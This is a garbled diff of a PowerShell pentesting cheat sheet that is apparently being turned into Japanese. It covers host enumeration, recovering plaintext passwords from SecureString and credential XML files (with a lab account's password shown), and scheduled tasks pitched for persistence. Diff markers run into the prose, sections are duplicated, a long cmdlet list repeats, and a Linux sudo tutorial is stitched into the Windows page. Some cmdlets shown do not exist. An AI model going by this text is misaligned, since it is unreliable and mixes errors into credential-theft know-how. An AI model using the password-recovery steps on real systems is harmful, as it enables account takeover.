retrieves the access control list (ACL) for the specified object. +```powershell +Get-Acl -Path C:\path\to\file.txt +``` + +This command will display the permissions associated with the file.txt file, including the user or group, the access level (e.g., Read, Write, Execute), and any special permissions. + +You can also use the `Get-Acl` cmdlet with the `Format-List` cmdlet to display the permissions in a more detailed format. + +```powershell +Get-Acl -Path C:\path\to\file.txt | Format-List +``` + +This command will provide additional information, such as the owner of the file, the access control entries (ACEs), and the inheritance settings. + +By understanding the permissions assigned to a file or directory, you can assess the level of access and potential vulnerabilities that may exist. This information can be valuable during a penetration test or security assessment. ```powershell Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` +## OSのバージョンとHotFixes -## OS version and HotFixes +Windowsのバージョンと適用されているHotFixes(ホットフィックス)を確認するために、次のコマンドを使用します。 +```powershell +Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture, Version, BuildNumber +``` + +このコマンドは、Windowsのバージョン、Service Packのバージョン、OSのアーキテクチャ、ビルド番号を表示します。 + +また、HotFixes(ホットフィックス)の情報を取得するためには、次のコマンドを使用します。 + +```powershell +Get-HotFix +``` + +このコマンドは、適用されているHotFixes(ホットフィックス)の一覧を表示します。 ```powershell [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` +## 環境 -## Environment +The following tools and configurations are recommended for executing the PowerShell commands and scripts mentioned in this guide: +このガイドで言及されているPowerShellのコマンドとスクリプトを実行するために、以下のツールと設定が推奨されています。 + +- Windows operating system (preferably Windows 10 or later) +- PowerShell version 5.1 or later +- Administrative privileges (for certain commands) +- Internet access (for downloading additional modules or scripts) + +- Windowsオペレーティングシステム(可能ならWindows 10以降) +- PowerShellバージョン5.1以降 +- 管理者特権(一部のコマンドに必要) +- インターネットアクセス(追加のモジュールやスクリプトのダウンロードに必要) + +## Execution Policy + +Before running any PowerShell scripts, it is important to check and set the execution policy. The execution policy determines whether PowerShell scripts can be run on a system. To check the current execution policy, open a PowerShell session and run the following command: + +```powershell +Get-ExecutionPolicy +``` + +To set the execution policy to allow running scripts, run the following command with administrative privileges: + +```powershell +Set-ExecutionPolicy RemoteSigned +``` + +スクリプトを実行する前に、実行ポリシーを確認して設定することが重要です。実行ポリシーは、PowerShellスクリプトがシステム上で実行できるかどうかを決定します。現在の実行ポリシーを確認するには、PowerShellセッションを開き、次のコマンドを実行します。 + +```powershell +Get-ExecutionPolicy +``` + +スクリプトの実行を許可するために、管理者特権で次のコマンドを実行します。 + +```powershell +Set-ExecutionPolicy RemoteSigned +``` + +## PowerShell Profiles + +PowerShell profiles allow you to customize and configure your PowerShell environment. There are different types of profiles that are loaded automatically when PowerShell starts. To view the profiles, run the following command: + +```powershell +$PROFILE | Format-List * -Force +``` + +To create or edit a profile, you can use the following commands: + +```powershell +notepad $PROFILE +``` + +```powershell +ise $PROFILE +``` + +PowerShellプロファイルを使用すると、PowerShell環境をカスタマイズおよび設定することができます。PowerShellが起動すると自動的に読み込まれる異なるタイプのプロファイルがあります。プロファイルを表示するには、次のコマンドを実行します。 + +```powershell +$PROFILE | Format-List * -Force +``` + +プロファイルを作成または編集するには、次のコマンドを使用できます。 + +```powershell +notepad $PROFILE +``` + +```powershell +ise $PROFILE +``` ```powershell Get-ChildItem Env: | ft Key,Value #get all values $env:UserName @Get UserName value ``` +## 他の接続されたドライブ -## Other connected drives +In this section, we will discuss how to identify and access other connected drives using PowerShell. +このセクションでは、PowerShellを使用して他の接続されたドライブを特定し、アクセスする方法について説明します。 + +### List all drives + +### すべてのドライブをリストする + +To list all the drives connected to the system, you can use the `Get-PSDrive` cmdlet. + +システムに接続されているすべてのドライブをリストするには、`Get-PSDrive`コマンドレットを使用します。 + +```powershell +Get-PSDrive +``` + +This command will display a list of all the drives along with their names, types, and root paths. + +このコマンドは、すべてのドライブの名前、タイプ、およびルートパスを含むリストを表示します。 + +### Accessing a specific drive + +### 特定のドライブへのアクセス + +To access a specific drive, you can use the drive letter followed by a colon (`:`) as the path. + +特定のドライブにアクセスするには、ドライブレターに続けてコロン(`:`)をパスとして使用します。 + +```powershell +cd D: +``` + +This command will change the current location to the root of the D drive. + +このコマンドは、現在の場所をDドライブのルートに変更します。 + +### Accessing a network drive + +### ネットワークドライブへのアクセス + +To access a network drive, you can use the UNC path (`\\server\share`) as the path. + +ネットワークドライブにアクセスするには、UNCパス(`\\server\share`)をパスとして使用します。 + +```powershell +cd \\server\share +``` + +This command will change the current location to the root of the network drive. + +このコマンドは、現在の場所をネットワークドライブのルートに変更します。 + +### Conclusion + +### 結論 + +By using PowerShell, you can easily list and access other connected drives on a Windows system. This can be useful for navigating through different drives and performing various operations. + +PowerShellを使用することで、Windowsシステム上の他の接続されたドライブを簡単にリストし、アクセスすることができます。これは、異なるドライブをナビゲートし、さまざまな操作を実行するために役立ちます。 ```powershell Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` +### リサイクル ビン -### Recycle Bin +The Recycle Bin is a special folder in Windows that stores deleted files and folders. When a file or folder is deleted, it is not immediately removed from the system. Instead, it is moved to the Recycle Bin, where it can be restored if needed. +The Recycle Bin provides a safety net for users, allowing them to recover accidentally deleted files. It is especially useful in cases where important files are deleted by mistake or when files are deleted and later found to be needed again. + +To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the files or folders you want to restore and click on the "Restore" button to move them back to their original location. + +It is important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older files will be automatically deleted to make room for new ones. Therefore, it is recommended to regularly empty the Recycle Bin to free up disk space. + +In summary, the Recycle Bin is a useful feature in Windows that allows users to recover deleted files and folders. It serves as a safety net, providing a second chance to retrieve important data that was accidentally deleted. ```powershell $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` - [https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) -## Domain Recon +## ドメインの偵察 {% content-ref url="powerview.md" %} [powerview.md](powerview.md) {% endcontent-ref %} -## Users - +## ユーザー ```powershell Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` +## セキュアな文字列から平文へ -## Secure String to Plaintext +Sometimes during a penetration test, you may come across a secure string that needs to be converted to plaintext for further analysis. In PowerShell, you can use the `ConvertFrom-SecureString` cmdlet to achieve this. +以下のように、ペネトレーションテスト中に、さらなる分析のためにセキュアな文字列を平文に変換する必要がある場合があります。PowerShellでは、`ConvertFrom-SecureString`コマンドレットを使用することで、これを実現することができます。 + +```powershell +$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force +$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)) +``` + +In the above example, we first create a secure string using the `ConvertTo-SecureString` cmdlet. We pass the desired plaintext password as a parameter and use the `-AsPlainText` and `-Force` flags to ensure the conversion. + +上記の例では、まず`ConvertTo-SecureString`コマンドレットを使用してセキュアな文字列を作成します。パラメータとして望む平文のパスワードを渡し、変換を確実にするために`-AsPlainText`と`-Force`フラグを使用します。 + +Next, we use the `[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR()` method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the `[System.Runtime.InteropServices.Marshal]::PtrToStringAuto()` method to convert the BSTR representation to plaintext. + +次に、`[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR()`メソッドを使用して、セキュアな文字列をBSTR(Basic String)表現に変換します。最後に、`[System.Runtime.InteropServices.Marshal]::PtrToStringAuto()`メソッドを使用して、BSTR表現を平文に変換します。 + +Keep in mind that this method should only be used for legitimate purposes and with proper authorization. ```powershell $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" @@ -286,9 +679,7 @@ Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` - -Or directly parsing form XML: - +または、XMLから直接解析する方法もあります。 ```powershell $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * @@ -297,9 +688,75 @@ Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` - ## SUDO +SUDOは、Linuxシステムで特権ユーザーとしてコマンドを実行するためのツールです。通常、rootユーザーの権限を持たないユーザーが特定のコマンドを実行する必要がある場合に使用されます。 + +SUDOの設定は、/etc/sudoersファイルで管理されます。このファイルには、どのユーザーがどのコマンドを実行できるかの設定が含まれています。 + +SUDOを使用すると、特権ユーザーの権限を持たないユーザーが、必要なタスクを実行するために一時的に特権を取得できます。ただし、SUDOの設定には注意が必要であり、不適切な設定はセキュリティ上のリスクとなります。 + +以下は、SUDOの基本的な使用方法です。 + +### SUDOのインストール + +SUDOは通常、Linuxディストリビューションにデフォルトでインストールされています。もしインストールされていない場合は、パッケージマネージャーを使用してインストールすることができます。 + +### SUDOの設定 + +SUDOの設定は、/etc/sudoersファイルで行われます。このファイルはrootユーザーのみが編集できるため、編集する際はroot権限が必要です。 + +以下のコマンドを使用して、/etc/sudoersファイルを編集します。 + +``` +sudo visudo +``` + +このコマンドを実行すると、デフォルトのテキストエディタが起動し、/etc/sudoersファイルが開かれます。 + +### ユーザーのSUDO権限の追加 + +ユーザーにSUDO権限を追加するには、以下のように/etc/sudoersファイルにエントリを追加します。 + +``` +ユーザー名 ALL=(ALL) ALL +``` + +上記のエントリでは、ユーザー名にSUDO権限を与えています。ALL=(ALL) ALLの部分は、ユーザーがどのホストでどのユーザーに対してどのコマンドを実行できるかを指定しています。 + +### SUDOを使用してコマンドを実行する + +SUDOを使用してコマンドを実行するには、以下のようにコマンドの前にsudoを付けます。 + +``` +sudo コマンド +``` + +例えば、root権限が必要なコマンドを実行する場合は、以下のようにします。 + +``` +sudo apt-get update +``` + +### SUDOのパスワードの要求 + +デフォルトでは、SUDOを使用する際にはユーザーのパスワードが要求されます。パスワードの要求を省略するには、以下のように/etc/sudoersファイルを編集します。 + +``` +ユーザー名 ALL=(ALL) NOPASSWD: ALL +``` + +上記のエントリでは、ユーザー名に対してパスワードの要求を省略しています。NOPASSWD: ALLの部分がパスワードの要求を省略する設定です。 + +### SUDOのログの確認 + +SUDOを使用したコマンドのログは、/var/log/auth.logファイルに記録されます。このログを確認することで、SUDOの使用履歴を追跡することができます。 + +``` +sudo cat /var/log/auth.log +``` + +以上がSUDOの基本的な使用方法です。SUDOを適切に設定し、セキュリティ上のリスクを最小限に抑えましょう。 ```powershell #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force @@ -321,57 +778,892 @@ $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" ``` +## グループ -## Groups +グループは、Windowsシステムでユーザーを組織化するための重要な要素です。グループには、特定の権限やアクセス許可が割り当てられており、ユーザーをグループに追加することで、そのユーザーにも同じ権限やアクセス許可が与えられます。 +### グループの一覧表示 + +以下のコマンドを使用して、システム上のすべてのグループを一覧表示することができます。 + +```powershell +Get-LocalGroup +``` + +### グループの作成 + +新しいグループを作成するには、以下のコマンドを使用します。 + +```powershell +New-LocalGroup -Name "GroupName" +``` + +### グループへのユーザーの追加 + +ユーザーを既存のグループに追加するには、以下のコマンドを使用します。 + +```powershell +Add-LocalGroupMember -Group "GroupName" -Member "UserName" +``` + +### グループからのユーザーの削除 + +ユーザーをグループから削除するには、以下のコマンドを使用します。 + +```powershell +Remove-LocalGroupMember -Group "GroupName" -Member "UserName" +``` + +### グループの削除 + +グループを削除するには、以下のコマンドを使用します。 + +```powershell +Remove-LocalGroup -Name "GroupName" +``` + +以上が基本的なPowerShellコマンドを使用したグループの操作方法です。これらのコマンドを使用することで、Windowsシステム上でのグループの管理が容易になります。 ```powershell Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` +## クリップボード -## Clipboard +クリップボードは、Windowsオペレーティングシステムで使用される一時的なデータ保存領域です。ユーザーがテキストやファイルをコピーすると、そのデータはクリップボードに保存されます。クリップボードは、コピーしたデータを他のアプリケーションに貼り付けるために使用されます。 + +### クリップボードの操作 + +#### クリップボードの内容を表示する ```powershell Get-Clipboard ``` -## Processes +#### クリップボードにテキストをコピーする ```powershell -Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id +Set-Clipboard -Text "コピーするテキスト" ``` -## Services +#### クリップボードにファイルをコピーする +```powershell +Set-Clipboard -Path "ファイルのパス" ``` + +#### クリップボードの内容をクリアする + +```powershell +Clear-Clipboard +``` + +### クリップボードを使用した攻撃 + +クリップボードは、悪意のある攻撃者によって悪用される可能性があります。以下は、クリップボードを使用した攻撃の例です。 + +- クリップボードの内容を盗むマルウェア +- クリップボードを介して機密情報を漏洩させる攻撃 +- クリップボードを使用して悪意のあるコードを実行する攻撃 + +クリップボードのセキュリティを強化するためには、以下の対策を実施することが重要です。 + +- クリップボードの内容を定期的に確認し、不審なアクティビティを監視する +- クリップボードに機密情報をコピーしない +- クリップボードの内容をクリアする際には注意を払い、機密情報が漏洩しないようにする +```powershell +Get-Clipboard +``` +## プロセス + +### Get-Process + +`Get-Process`コマンドは、実行中のプロセスの一覧を表示します。 + +```powershell +Get-Process +``` + +### Start-Process + +`Start-Process`コマンドは、新しいプロセスを開始します。 + +```powershell +Start-Process -FilePath "C:\path\to\executable.exe" +``` + +### Stop-Process + +`Stop-Process`コマンドは、指定したプロセスを終了します。 + +```powershell +Stop-Process -Name "processname" +``` + +### Invoke-Command + +`Invoke-Command`コマンドは、リモートコンピュータ上でコマンドを実行します。 + +```powershell +Invoke-Command -ComputerName "computername" -ScriptBlock { Get-Process } +``` + +### Get-WmiObject + +`Get-WmiObject`コマンドは、WMIオブジェクトを取得します。 + +```powershell +Get-WmiObject -Class Win32_Process +``` + +### Get-CimInstance + +`Get-CimInstance`コマンドは、CIMインスタンスを取得します。 + +```powershell +Get-CimInstance -ClassName Win32_Process +``` + +### Stop-Service + +`Stop-Service`コマンドは、指定したサービスを停止します。 + +```powershell +Stop-Service -Name "servicename" +``` + +### Start-Service + +`Start-Service`コマンドは、指定したサービスを開始します。 + +```powershell +Start-Service -Name "servicename" +``` + +### Restart-Service + +`Restart-Service`コマンドは、指定したサービスを再起動します。 + +```powershell +Restart-Service -Name "servicename" +``` + +### Set-Service + +`Set-Service`コマンドは、サービスの設定を変更します。 + +```powershell +Set-Service -Name "servicename" -StartupType Automatic +``` + +### Get-Service + +`Get-Service`コマンドは、実行中のサービスの一覧を表示します。 + +```powershell Get-Service ``` -## Password from secure string +### Get-NetTCPConnection +`Get-NetTCPConnection`コマンドは、TCP接続の一覧を表示します。 + +```powershell +Get-NetTCPConnection +``` + +### Get-NetUDPEndpoint + +`Get-NetUDPEndpoint`コマンドは、UDPエンドポイントの一覧を表示します。 + +```powershell +Get-NetUDPEndpoint +``` + +### Get-NetTCPSetting + +`Get-NetTCPSetting`コマンドは、TCP設定の情報を表示します。 + +```powershell +Get-NetTCPSetting +``` + +### Get-NetFirewallRule + +`Get-NetFirewallRule`コマンドは、ファイアウォールルールの一覧を表示します。 + +```powershell +Get-NetFirewallRule +``` + +### Get-NetFirewallProfile + +`Get-NetFirewallProfile`コマンドは、ファイアウォールプロファイルの情報を表示します。 + +```powershell +Get-NetFirewallProfile +``` + +### Get-NetAdapter + +`Get-NetAdapter`コマンドは、ネットワークアダプタの情報を表示します。 + +```powershell +Get-NetAdapter +``` + +### Get-NetIPAddress + +`Get-NetIPAddress`コマンドは、IPアドレスの情報を表示します。 + +```powershell +Get-NetIPAddress +``` + +### Get-NetRoute + +`Get-NetRoute`コマンドは、ルートテーブルの情報を表示します。 + +```powershell +Get-NetRoute +``` + +### Get-NetNeighbor + +`Get-NetNeighbor`コマンドは、ネットワーク隣接デバイスの情報を表示します。 + +```powershell +Get-NetNeighbor +``` + +### Get-NetAdapterStatistics + +`Get-NetAdapterStatistics`コマンドは、ネットワークアダプタの統計情報を表示します。 + +```powershell +Get-NetAdapterStatistics +``` + +### Get-NetAdapterAdvancedProperty + +`Get-NetAdapterAdvancedProperty`コマンドは、ネットワークアダプタの詳細なプロパティを表示します。 + +```powershell +Get-NetAdapterAdvancedProperty +``` + +### Get-NetAdapterBinding + +`Get-NetAdapterBinding`コマンドは、ネットワークアダプタのバインディング情報を表示します。 + +```powershell +Get-NetAdapterBinding +``` + +### Get-NetAdapterChecksumOffload + +`Get-NetAdapterChecksumOffload`コマンドは、ネットワークアダプタのチェックサムオフロードの情報を表示します。 + +```powershell +Get-NetAdapterChecksumOffload +``` + +### Get-NetAdapterEncapsulatedPacketTaskOffload + +`Get-NetAdapterEncapsulatedPacketTaskOffload`コマンドは、ネットワークアダプタのカプセル化パケットタスクオフロードの情報を表示します。 + +```powershell +Get-NetAdapterEncapsulatedPacketTaskOffload +``` + +### Get-NetAdapterIPsecOffload + +`Get-NetAdapterIPsecOffload`コマンドは、ネットワークアダプタのIPsecオフロードの情報を表示します。 + +```powershell +Get-NetAdapterIPsecOffload +``` + +### Get-NetAdapterLso + +`Get-NetAdapterLso`コマンドは、ネットワークアダプタのLso(Large Send Offload)の情報を表示します。 + +```powershell +Get-NetAdapterLso +``` + +### Get-NetAdapterPacketDirect + +`Get-NetAdapterPacketDirect`コマンドは、ネットワークアダプタのPacketDirectの情報を表示します。 + +```powershell +Get-NetAdapterPacketDirect +``` + +### Get-NetAdapterPowerManagement + +`Get-NetAdapterPowerManagement`コマンドは、ネットワークアダプタの電源管理の情報を表示します。 + +```powershell +Get-NetAdapterPowerManagement +``` + +### Get-NetAdapterQos + +`Get-NetAdapterQos`コマンドは、ネットワークアダプタのQoS(Quality of Service)の情報を表示します。 + +```powershell +Get-NetAdapterQos +``` + +### Get-NetAdapterRdma + +`Get-NetAdapterRdma`コマンドは、ネットワークアダプタのRDMA(Remote Direct Memory Access)の情報を表示します。 + +```powershell +Get-NetAdapterRdma +``` + +### Get-NetAdapterRsc + +`Get-NetAdapterRsc`コマンドは、ネットワークアダプタのRSC(Receive Segment Coalescing)の情報を表示します。 + +```powershell +Get-NetAdapterRsc +``` + +### Get-NetAdapterRss + +`Get-NetAdapterRss`コマンドは、ネットワークアダプタのRSS(Receive Side Scaling)の情報を表示します。 + +```powershell +Get-NetAdapterRss +``` + +### Get-NetAdapterSriov + +`Get-NetAdapterSriov`コマンドは、ネットワークアダプタのSR-IOV(Single Root I/O Virtualization)の情報を表示します。 + +```powershell +Get-NetAdapterSriov +``` + +### Get-NetAdapterVmq + +`Get-NetAdapterVmq`コマンドは、ネットワークアダプタのVMQ(Virtual Machine Queue)の情報を表示します。 + +```powershell +Get-NetAdapterVmq +``` + +### Get-NetAdapterVrss + +`Get-NetAdapterVrss`コマンドは、ネットワークアダプタのVRSS(Virtual Receive Side Scaling)の情報を表示します。 + +```powershell +Get-NetAdapterVrss +``` + +### Get-NetAdapterWakeOnMagicPacket + +`Get-NetAdapterWakeOnMagicPacket`コマンドは、ネットワークアダプタのマジックパケットによるウェイクアップの情報を表示します。 + +```powershell +Get-NetAdapterWakeOnMagicPacket +``` + +### Get-NetAdapterWakeOnPattern + +`Get-NetAdapterWakeOnPattern`コマンドは、ネットワークアダプタのパターンによるウェイクアップの情報を表示します。 + +```powershell +Get-NetAdapterWakeOnPattern +``` + +### Get-NetAdapterWakeOnPatternList + +`Get-NetAdapterWakeOnPatternList`コマンドは、ネットワークアダプタのウェイクアップパターンの一覧を表示します。 + +```powershell +Get-NetAdapterWakeOnPatternList +``` + +### Get-NetAdapterWoL + +`Get-NetAdapterWoL`コマンドは、ネットワークアダプタのWake-on-LAN(WoL)の情報を表示します。 + +```powershell +Get-NetAdapterWoL +``` + +### Get-NetAdapterStatistics + +`Get-NetAdapterStatistics`コマンドは、ネットワークアダプタの統計情報を表示します。 + +```powershell +Get-NetAdapterStatistics +``` + +### Get-NetAdapterAdvancedProperty + +`Get-NetAdapterAdvancedProperty`コマンドは、ネットワークアダプタの詳細なプロパティを表示します。 + +```powershell +Get-NetAdapterAdvancedProperty +``` + +### Get-NetAdapterBinding + +`Get-NetAdapterBinding`コマンドは、ネットワークアダプタのバインディング情報を表示します。 + +```powershell +Get-NetAdapterBinding +``` + +### Get-NetAdapterChecksumOffload + +`Get-NetAdapterChecksumOffload`コマンドは、ネットワークアダプタのチェックサムオフロードの情報を表示します。 + +```powershell +Get-NetAdapterChecksumOffload +``` + +### Get-NetAdapterEncapsulatedPacketTaskOffload + +`Get-NetAdapterEncapsulatedPacketTaskOffload`コマンドは、ネットワークアダプタのカプセル化パケットタスクオフロードの情報を表示します。 + +```powershell +Get-NetAdapterEncapsulatedPacketTaskOffload +``` + +### Get-NetAdapterIPsecOffload + +`Get-NetAdapterIPsecOffload`コマンドは、ネットワークアダプタのIPsecオフロードの情報を表示します。 + +```powershell +Get-NetAdapterIPsecOffload +``` + +### Get-NetAdapterLso + +`Get-NetAdapterLso`コマンドは、ネットワークアダプタのLso(Large Send Offload)の情報を表示します。 + +```powershell +Get-NetAdapterLso +``` + +### Get-NetAdapterPacketDirect + +`Get-NetAdapterPacketDirect`コマンドは、ネットワークアダプタのPacketDirectの情報を表示します。 + +```powershell +Get-NetAdapterPacketDirect +``` + +### Get-NetAdapterPowerManagement + +`Get-NetAdapterPowerManagement`コマンドは、ネットワークアダプタの電源管理の情報を表示します。 + +```powershell +Get-NetAdapterPowerManagement +``` + +### Get-NetAdapterQos + +`Get-NetAdapterQos`コマンドは、ネットワークアダプタのQoS(Quality of Service)の情報を表示します。 + +```powershell +Get-NetAdapterQos +``` + +### Get-NetAdapterRdma + +`Get-NetAdapterRdma`コマンドは、ネットワークアダプタのRDMA(Remote Direct Memory Access)の情報を表示します。 + +```powershell +Get-NetAdapterRdma +``` + +### Get-NetAdapterRsc + +`Get-NetAdapterRsc`コマンドは、ネットワークアダプタのRSC(Receive Segment Coalescing)の情報を表示します。 + +```powershell +Get-NetAdapterRsc +``` + +### Get-NetAdapterRss + +`Get-NetAdapterRss`コマンドは、ネットワークアダプタのRSS(Receive Side Scaling)の情報を表示します。 + +```powershell +Get-NetAdapterRss +``` + +### Get-NetAdapterSriov + +`Get-NetAdapterSriov`コマンドは、ネットワークアダプタのSR-IOV(Single Root I/O Virtualization)の情報を表示します。 + +```powershell +Get-NetAdapterSriov +``` + +### Get-NetAdapterVmq + +`Get-NetAdapterVmq`コマンドは、ネットワークアダプタのVMQ(Virtual Machine Queue)の情報を表示します。 + +```powershell +Get-NetAdapterVmq +``` + +### Get-NetAdapterVrss + +`Get-NetAdapterVrss`コマンドは、ネットワークアダプタのVRSS(Virtual Receive Side Scaling)の情報を表示します。 + +```powershell +Get-NetAdapterVrss +``` + +### Get-NetAdapterWakeOnMagicPacket + +`Get-NetAdapterWakeOnMagicPacket`コマンドは、ネットワークアダプタのマジックパケットによるウェイクアップの情報を表示します。 + +```powershell +Get-NetAdapterWakeOnMagicPacket +``` + +### Get-NetAdapterWakeOnPattern + +`Get-NetAdapterWakeOnPattern`コマンドは、ネットワークアダプタのパターンによるウェイクアップの情報を表示します。 + +```powershell +Get-NetAdapterWakeOnPattern +``` + +### Get-NetAdapterWakeOnPatternList + +`Get-NetAdapterWakeOnPatternList`コマンドは、ネットワークアダプタのウェイクアップパターンの一覧を表示します。 + +```powershell +Get-NetAdapterWakeOnPatternList +``` + +### Get-NetAdapterWoL + +`Get-NetAdapterWoL`コマンドは、ネットワークアダプタのWake-on-LAN(WoL)の情報を表示します。 + +```powershell +Get-NetAdapterWoL +``` +```powershell +Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id +``` +## サービス + +### PowerShell Remoting + +PowerShellリモート操作は、リモートのWindowsマシンに対してPowerShellコマンドを実行するための強力なツールです。以下のコマンドを使用して、リモートマシンに接続し、コマンドを実行できます。 + +```powershell +Enter-PSSession -ComputerName -Credential +``` + +### サービスの一覧表示 + +リモートマシン上で実行されているサービスの一覧を表示するには、次のコマンドを使用します。 + +```powershell +Get-Service +``` + +### サービスの停止 + +特定のサービスを停止するには、次のコマンドを使用します。 + +```powershell +Stop-Service -Name +``` + +### サービスの開始 + +特定のサービスを開始するには、次のコマンドを使用します。 + +```powershell +Start-Service -Name +``` + +### サービスの再起動 + +特定のサービスを再起動するには、次のコマンドを使用します。 + +```powershell +Restart-Service -Name +``` + +### サービスの無効化 + +特定のサービスを無効化するには、次のコマンドを使用します。 + +```powershell +Set-Service -Name -StartupType Disabled +``` + +### サービスの有効化 + +特定のサービスを有効化するには、次のコマンドを使用します。 + +```powershell +Set-Service -Name -StartupType Automatic +``` + +### サービスの削除 + +特定のサービスを削除するには、次のコマンドを使用します。 + +```powershell +Remove-Service -Name +``` + +### サービスの設定変更 + +特定のサービスの設定を変更するには、次のコマンドを使用します。 + +```powershell +Set-Service -Name - +``` + +### サービスのステータスの確認 + +特定のサービスのステータスを確認するには、次のコマンドを使用します。 + +```powershell +Get-Service -Name | Select-Object Status +``` +``` +Get-Service +``` +## セキュアな文字列からパスワードを取得する + +PowerShellを使用して、セキュアな文字列からパスワードを取得する方法を説明します。 + +```powershell +$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force +$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)) +``` + +上記のコードでは、`ConvertTo-SecureString`関数を使用して、セキュアな文字列を作成します。`-String`パラメータには、セキュアな文字列に変換する元の文字列を指定します。`-AsPlainText`パラメータは、セキュアな文字列を平文で保存することを指定します。`-Force`パラメータは、変換を強制するために使用されます。 + +次に、`[Runtime.InteropServices.Marshal]::SecureStringToBSTR`メソッドを使用して、セキュアな文字列をBSTR(バイナリストリング)に変換します。その後、`[Runtime.InteropServices.Marshal]::PtrToStringAuto`メソッドを使用して、BSTRを文字列に変換します。これにより、セキュアな文字列からパスワードが取得されます。 + +この方法を使用すると、セキュアな文字列からパスワードを取得することができます。 ```powershell $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` +## スケジュールされたタスク -## Scheduled Tasks +Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how scheduled tasks work can be beneficial for privilege escalation and persistence. +スケジュールされたタスクは、特定の時間や間隔でスクリプトやプログラムの実行を自動化するためのWindowsの強力な機能です。ペンテスターとして、スケジュールされたタスクの仕組みを理解することは特権の昇格や持続性に役立ちます。 + +### Viewing Scheduled Tasks + +### スケジュールされたタスクの表示 + +To view the list of scheduled tasks on a Windows system, you can use the `schtasks` command in PowerShell. This command allows you to list, create, modify, and delete scheduled tasks. + +Windowsシステム上のスケジュールされたタスクのリストを表示するには、PowerShellの`schtasks`コマンドを使用します。このコマンドを使用すると、スケジュールされたタスクの一覧表示、作成、変更、削除ができます。 + +To view all the scheduled tasks, run the following command: + +すべてのスケジュールされたタスクを表示するには、次のコマンドを実行します。 + +```powershell +schtasks /query /fo LIST /v +``` + +This will display detailed information about each scheduled task, including the task name, status, triggers, and actions. + +これにより、タスク名、ステータス、トリガー、アクションなど、各スケジュールされたタスクの詳細情報が表示されます。 + +### Creating Scheduled Tasks + +### スケジュールされたタスクの作成 + +To create a new scheduled task, you can use the `schtasks` command with the `/create` option. You will need administrative privileges to create a scheduled task. + +新しいスケジュールされたタスクを作成するには、`schtasks`コマンドに`/create`オプションを使用します。スケジュールされたタスクを作成するには、管理者権限が必要です。 + +Here is an example command to create a scheduled task that runs a PowerShell script every day at 9:00 AM: + +以下は、毎日午前9時にPowerShellスクリプトを実行するスケジュールされたタスクを作成する例です。 + +```powershell +schtasks /create /tn "MyTask" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\Path\to\script.ps1" /sc daily /st 09:00 +``` + +In this command, `/tn` specifies the task name, `/tr` specifies the command to be executed, `/sc` specifies the schedule frequency (daily in this case), and `/st` specifies the start time. + +このコマンドでは、`/tn`はタスク名を指定し、`/tr`は実行するコマンドを指定し、`/sc`はスケジュールの頻度を指定します(この場合は毎日)、`/st`は開始時間を指定します。 + +### Modifying Scheduled Tasks + +### スケジュールされたタスクの変更 + +To modify an existing scheduled task, you can use the `schtasks` command with the `/change` option. Again, administrative privileges are required to modify a scheduled task. + +既存のスケジュールされたタスクを変更するには、`schtasks`コマンドに`/change`オプションを使用します。スケジュールされたタスクを変更するには、再び管理者権限が必要です。 + +Here is an example command to modify the start time of a scheduled task: + +以下は、スケジュールされたタスクの開始時間を変更する例です。 + +```powershell +schtasks /change /tn "MyTask" /st 10:00 +``` + +In this command, `/tn` specifies the task name, and `/st` specifies the new start time. + +このコマンドでは、`/tn`はタスク名を指定し、`/st`は新しい開始時間を指定します。 + +### Deleting Scheduled Tasks + +### スケジュールされたタスクの削除 + +To delete a scheduled task, you can use the `schtasks` command with the `/delete` option. Once again, administrative privileges are required to delete a scheduled task. + +スケジュールされたタスクを削除するには、`schtasks`コマンドに`/delete`オプションを使用します。スケジュールされたタスクを削除するには、再び管理者権限が必要です。 + +Here is an example command to delete a scheduled task: + 